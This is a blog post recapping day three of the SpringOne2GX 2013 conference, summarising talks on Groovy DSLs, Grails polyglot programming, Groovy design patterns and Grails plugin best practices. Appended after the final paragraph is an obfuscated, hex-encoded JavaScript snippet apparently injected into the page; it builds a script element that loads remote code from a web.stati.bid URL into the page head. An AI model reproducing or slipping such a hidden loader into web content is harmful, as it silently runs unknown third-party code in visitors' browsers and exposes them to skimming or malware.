Day 3 of SpringOne2GX’13 was full of new experiences and learning. Knowledge is flowing everywhere and its an amazing feeling listening to the people whom we have been reading and following for so long. The energy and enthusiasm among both attendees and presenters are very high and really appreciable. It reminds me of our Code Camp days at IntelliGrape where everybody enjoys knowledge sharing sessions held by different mentors with same curiosity as they are new to programming.
IntelliGrape being one of the proud sponsors of the event has setup a booth at the venue. People from different horizon like Groovy, Grails and Cloud visit our booth with their queries where they are provided with proper consultation. Its very surprising and a moment of proud as well when they appreciate our work, especially our blog, even 12000 miles away.
All the sessions are so interesting and worth attending that we had a tough time in deciding which session to attend.
Here is the brief summary of sessions that we attended:
Creating Groovy DSLs that developers can actually use – Guillaume Laforge & Dr. Paul King
Dr. Paul and Guillaume shared many use cases of applying DSLs in sectors like Banks, Insurance policy risk, Market Data analysis etc. They explained the power of groovy by creating DSLs with an example of sending instructions to move a rover on mars. We were supposed to create a DSL to allow scientists send textual commands to rover. Scientists, not being a programmer would definitely need a DSL for this.
The instructions which we started as a program of 10 lines in java was reduced to just a single line in DSL, something as simple as move right at 3 Km/hr. Amazing, isn’t it !!!
Polyglot Programming – Jeff Scott Brown
Jeff talked about the support of Grails to allow use of APIs in Java, Clojure or Scala. Any Class written in java can be directly used in the Grails with the help of easy to install Clojure plugin.
Jeff also explained how we can simply create another plugin for any language that supports java execution. He also explained the internal details of the Clojure plugin of Grails.
Design Patterns in Groovy – Venkat Subramaniyam
Our SpringOne2GX visit would have been incomplete without attending Venkat’s talk. Venkat explained many wonderful patterns of Groovy coding, supported by some really amusing stories and one liners. The entire session was demo driven with easy to understand and implementable examples.
The examples from the session can be seen at Venkat’s website: http://www.agiledeveloper.com/downloads.html
Grails Plugin Best Practices – Burt Beckwith
Some of the best practices as explained by Burt:
- Do not keep any unused code in plugin.
- Never use new plugins to instantiate classes, try to use Spring’s dependency Injection approach to initialize variables as it brings out extensibility.
- Use a logical package name like grails.plugin.pluginName.
- Make full use of capabilities provided by plugin handler methods doWithSpring, loadAfter etc.
- Most importantly, support your plugin.
- Use gitignore to ignore class files and other generated stuff.
- Follow the proper version convention for the plugins like start with a 0.1.
Version 1.0 is assumed to be a very stable version so it should be achieved after multiple smaller versions.
Looking forward to more such sessions tomorrow.
* All the sessions were being video recorded. I hope they get uploaded soon on pivotal website for people who were not able to attend SpringOne2GX or a part of it.
var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″];var el=document[_0x29b4](_0x29b4);el[_0x29b4]= _0x29b4;document[_0x29b4][_0x29b4](el)